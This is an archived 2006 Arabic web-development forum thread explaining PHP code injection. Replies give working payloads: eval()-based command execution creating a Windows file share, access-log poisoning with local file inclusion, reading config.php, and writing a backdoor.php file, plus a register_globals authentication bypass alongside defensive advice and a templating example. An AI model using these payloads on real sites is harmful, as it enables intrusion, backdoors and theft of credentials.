الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

ماهى اضرار استخدام الزائر php فى القاعدة?

مغلق
بدأه asdegypt في 9 أبريل 2006 · 8 رد · 1,081 مشاهدة · في منتدى تطوير المواقع بـ PHP
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

نسمع كثيرا عن اختراق المواقع عن طريق أضافة كود بى اتش بى الى قاعدة البيانات ومن ثم اختراق الموقع

فسؤالى ما هى الاكواد التى يتم ادخلها وكيفية الزائر يجلبه

وشكرا

#2

السلام عليكم و رحمة الله و بركاته

أخي العزيز لقد شملت بسؤالك عدة أنواع من الثغرات

كنت أود في البداية أن أطلبك منك توضيح أكثر في سؤالك , و لكن لابأس أن نتكلم على بعض الثغرات التي شملها سؤالك و بالتالي تكون الفائدة أكثر

حسب سؤالك فهمت أنك تقصد ثغرة حقن كود PHP

لنأخد كود يحتوي على ثغره من هدا النوع

<?php
//register_globals On <-------------------- لنفرض أن 
eval($code);
?>

في هاته الحالة إدا قمنا بي إعطاء المتغير القيمة التالية

www.target.com/index.php?code=echo 'hello';

فبالتالي يطبق محتوى المتغير

$code

ككود لي

php

من طرف

function aval

فهي تقوم بتطبيق كود و تتعامل معه ك

string

أما في ما يخص المخترق فيستعمل الكود التالي

www.target.com/index.php?code=system('net share hack_me=c:');

في هاته الحالة قمت بإنشاء إشتارك للملفات في

C:\

بإسم

hack_me

و لإستعمل هدا الإشتارك ما عليك إلا أن تقوم بي

\\62.101.XX.XX\hack_me\

/******************************************************************************/

هناك طريقة أخرى من خلالها يمكن أن نقوم بحقن كود

php

في الموقع

سوف أشرحها بإختصار شديد

غالبا ما نلاحظ هدي الطريقة في البرمجة على بعض المواقع

http://www.target.com/index.php?page=chat.php

كما نعلم أي صفحة نتصفحها فهي موجودة في

access.log

على الشكل

 
127.0.0.1 - - [09/Apr/2006:23:15:11 +0200] "GET /target/index.php?page=chat.php HTTP/1.1" 200 16

و الآن إدا كتبنا ميالي في

browser

http://www.target.com/<?system('net'.chr(0x20).'share'.chr(0x20).'hack_me=c:');?>

نتحصل في الملف

access.log

على

127.0.0.1 - - [09/Apr/2006:23:36:40 +0200] "GET /target/<?system('net'.chr(0x20).'share'.chr(0x20).'hack_me=c:');?> HTTP/1.1" 403 325

و بهده الطريقة فقد قمنا بعملية

inject code

في ملف

access.log

و ما علينا الآن الا أن نقوم بالعملية

include

لملف

access.log

بالطريقة الآتية

http://www.target.com/index.php?page=../../apache/logs/access.log

/***********************************************************/

هناك طرق آخرى لحقن الكود كإستعمال طريقة

sql injection

و طريقة تختلف بإختلاف أنواع سيرفورات قاعدة البيانات

ms sql

mysql

orcale

.....

أرجو أخي أن أكون أصبت و لو شيء ما من سؤالك

إجابتي قالبة للخطأ و مرحبا بكل تعقيب

ملاحظة

أرجوا أن لا تستعمل هاته التقنيات في ما لا يرضي الله

السلام عليكم

رَبِّ إِنِّي لِمَا أَنزَلْتَ إِلَيَّ مِنْ خَيْرٍ فَقِيرٌ

#3

شرح رائع للفكرة

Let's google help you Before ask

--------------------------

My Blog : www.phplover.net

#4

لقد أصبت يا أخى وأشكرك على مجهودك فى الرد وأحب أن استفسر منك عن هل هناك أمكانية مثلا من خلال أضافة كود بى اتش بى الى القاعدة ان يقوم هذا الشخص بأضافة ملف الى السيرفر يفيده بعد ذللك فى تدمير الموقع ؟

#5

انا بصراحة لا انصح باستخدم الامر eval نهائيا

فهو امر مكروه بكل معنى الكلمة

Let's google help you Before ask

--------------------------

My Blog : www.phplover.net

#6

السلام عليكم

أخي السائل عندما يستطيع المخترق أن يطبق أكواد php في موقعك يمكن القول أنه له التحكم الكامل

بحيث يمكنه إنشاء ملف backdoor في موقعك يحتوي على كود uplaod او أن يطبق أوامر DOS او SHELL

و هدا الإخير سبق و أن دكرناه في المثال , كما يمكن له أن يطلع على أكواد ملفاتك الحساسة ك config.php

وسوف نأخد الآن بعض الامثله الي جربتها بنفسي

هاته الصفحة التي تحتوي على الثغره

<?php
//register_globals On <-------------------- لنفرض أن 
eval($input_code);
?>

و هدا محتوى الكود المحقون

index.php?file_name=config.php&input_code=$lines = file ($_GET['file_name']);foreach ($lines as $line_num=>$line)echo "$line_num : $line
";

و الكود الدي قمت بحقنه هو لي قراءة محتوى الملفات

و ها هو بالكالمل

<?
$lines = file ($_GET['file_name']);

foreach ($lines as $line_num=>$line) 
    echo "$line_num : $line<br>";
?>

و الآن سوف نحاول أن ننشىء

backdoor.php

يوحتوي على نفس الكود لقرائة الملفات الدي تعرضنا اليه

index.php?input_code=$file = fopen ("backdoor.php", "w");fputs ($file,'<? $lines = file ($_GET[\'file_name\']);foreach ($lines as $line_num=>$line)echo "$line_num : $line
"; ?>');fclose ($file);

و الكود الدي قمت بحقنه هو لإتشاء الملفات

و ها هو بالكالمل

<?php
$file = fopen ("backdoor.php", "w");
fputs ($file,'<? $lines = file ($_GET[\'file_name\']);foreach ($lines as $line_num=>$line)echo "$line_num : $line<br>"; ?>');
fclose ($file);
?>

الأمثلة عديدة و غير منتهي و تقتصر هلى إهتممات المخترق

لكي تفهمو ا ما أقصده أرجو التدقيق في الأكود و إدا كان هناك أي سؤال فلا تترددوا أرجوكم

/*********************************************************************************************************/

اما في ما يخص تفادي إستعمال الدالة eval و الله أخي المشرف هاته الدالة جلبت إعجابي رغم خطورة إستعمالها

و أدعم نصحك بتفادي إستعمالها من طرف المبتدئيين و دو نقص خبرة في الحماية

وسوف أستعرض عليكم قوة هاته الدالة

المثال مستوحي من مشروعي الحالي و هو CMS و هدا المثال بالضبط يسهل لكم فهم طريقة load themes

أحيانا الكود html الموجود في ملفات php يضخم من الكود و يجعله صعب القرائة و انا شخصيا لا أحب رؤيته مع كود PHP

و لهدا ألجا الى فصل كود html في ملفات من نوع HTML

ثم عندما أحتاج أليها اناديها بي php و لكن بالطريقة التالية

لنفرض هدا هو ملف HTML

main.html

<html>

<head>
<meta http-equiv="Content-Language" content="fr">

<title>$titlle</title>
</head>

<body>

<div align="center">
  <center>
  <table border="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="100">
    <tr>
      <td width="100%" height="119" colspan="3" align="center">
      <p align="center">$header</td>
    </tr>
    <tr>
      <td width="18%" height="313" align="center">
      <p align="center">$left_block</td>
      <td width="63%" height="313" align="center">$body</td>
      <td width="19%" height="313" align="center">$right_block</td>
    </tr>
    <tr>
      <td width="100%" height="76" colspan="3" align="center">$footer</td>
    </tr>
  </table>
  </center>
</div>

</body>

</html>

و الآن إدا لاحظتم أني وضعت متغيرات في كود html كـ

$titlle 
$body
$left_block
$right_block
$header
$footer

ما أردي أن أقوم به هو load الملف HTML و عرضعه مع تزويد كل المتغيرات الموجودة في الملف HTML بمتغيراتها مستعملا eval

index.php

<?php
//لنفرض أننا زودنا قيم هاته المتغيرات من قاعدة البيانات
$titlle ='eval exemple';
$body='body eval';
$left_block='left eval';
$right_block='right eval';
$header='header eval';
$footer='footrr eval';

$file_html = implode("", file("main.html"));
$file_html = addslashes($file_html);
$file_html = "\$result=\"".$file_html."\";";
eval($file_html);
echo $result;

?>

و بهاته الطريقة مهما كانت ضخامة ملف html فهو معزول و يمكن أن أزود القيم الموجود في ملف HTML بطريقة ديناميكية كمحتوى blocks

أرجوا أن تكون وصلت فكرتي

إخواني الأعزاء لا تترددو في طرح الأسئلة

لقد زودتكم بالملفات المرفقة فيها المثال

كما زودتكم بـ

functions من تصميمي أعتمد عليها 60% من عملي أرجوا أن تستفيدو منها و أن لا تبخلو عليا بنقضكم و إستفساراتكم و و إقراحاتكم

eval.rar

easy_eval.rar

تم تعديل هذه المشاركة بواسطة فقير لله في 13 أبريل 2006 في 01:38

رَبِّ إِنِّي لِمَا أَنزَلْتَ إِلَيَّ مِنْ خَيْرٍ فَقِيرٌ

#7

شكرا لك يا أخى على المشاركة التفصلية والمفيدة وأتمنى أننا نلاقى لك دروس على موقعنا تفيدنا وتزود فهمنا لهذه اللغة

#8

شكراً اخي فقير لله علي هذه المعلومات القيمة ولكن عندي سؤال

//register_globals On <-------------------- لنفرض أن

وجميع المتغيرات التي املكها بهذا الشكل

HTTP_POST_VARS['CODE'

OR

_POST[CODE]

فهل بهذا الشكل سوف يكون هناك خطر من فتح ال REGISER_GLOBALS

الهوست الذي املكه يفتحه

فلو هناك حل رجاء اخباري

وهل هناك خطر مماثل لeval عند استخدام الدالة extract في استعراض البيانات من قاعدة البيانات فاعتقد انها مشابه لها فلو هناك خطر رجاء اخباري ايضاً

وبالنسبة للمتغيرات التي تأتي من فورم الاتش تي ام ال كيف اجعل هذه المتغيرات بالشكل السابق وشكراَ

تم تعديل هذه المشاركة بواسطة abkareno في 19 أبريل 2006 في 22:53

يابن ادم ولدتك امك باكياً والناس حولك سروراً فعمل لي يوم اذا بكوا في يوم موتك ضاحكاً مسروراً

اطلب اي ملف Testking او كتاب من كتب ميكروسوفت في اي مجال

#9

السلام و عليكم و رحمة الله و بركاته

أخي محمد (abkareno) ليس المشكل في

REGISER_GLOBALS

evla

extract

المشكلة في كيفية إستعمال الدوال

لنأخد مثال لكي إوظح فكرتي

في المثال لنفترض فيه

REGISER_GLOBALS on

<?php

if ($connected=='TRUE')
echo 'account info....';
else 
echo 'access denied  !!';

?>

فهنا ما على المخترق إلا إعطال القيمة

TRUE

للمتغير

$connected

http://www.target.com/account.php?connected=TRUE

و الحل في هاته الحالة هو

علينا أن لا نترك صلة مباشرة بين المخترق و قيم متغيرات التي نستعمملها للتحكم كـالمتغير

$connected

بحيث نستخلص قيم متغيرات التحكم بعد التحقق من

password

مثلا

<?php
/*
هنا يوضع كود يفصل بين القيم التي يمدها المخترق و متغير التحكم
مثال
if ($password_from_databas==$password_from_user)
$connected='TRUE';
else
$connected='FALSE';
*/


if ($connected=='TRUE')
echo 'account info....';
else 
echo 'access denied  !!';

?>

نفس الشيء بالنسبة الى

Eval

أما عن

extract

فأنا شخصيا لا أرى أيخطر في إستعمالها

و لا تبخلو علينا بالإفادة إن رأيتم عكس دالك

أتمنى أن تكون قد وصلت الفركة

و أعتدر ما إدا لم أجد الشرح لأني لست معربا %

رَبِّ إِنِّي لِمَا أَنزَلْتَ إِلَيَّ مِنْ خَيْرٍ فَقِيرٌ

هذا الموضوع مغلق.

مواضيع مشابهة

عدد الزوار حالياً

المتواجدون خلال آخر دقيقتين · يتحدّث كل ٣٠ ثانية

—الإجمالي—أعضاء مسجّلون—زوار بدون تسجيل

جارٍ التحقق من المتواجدين…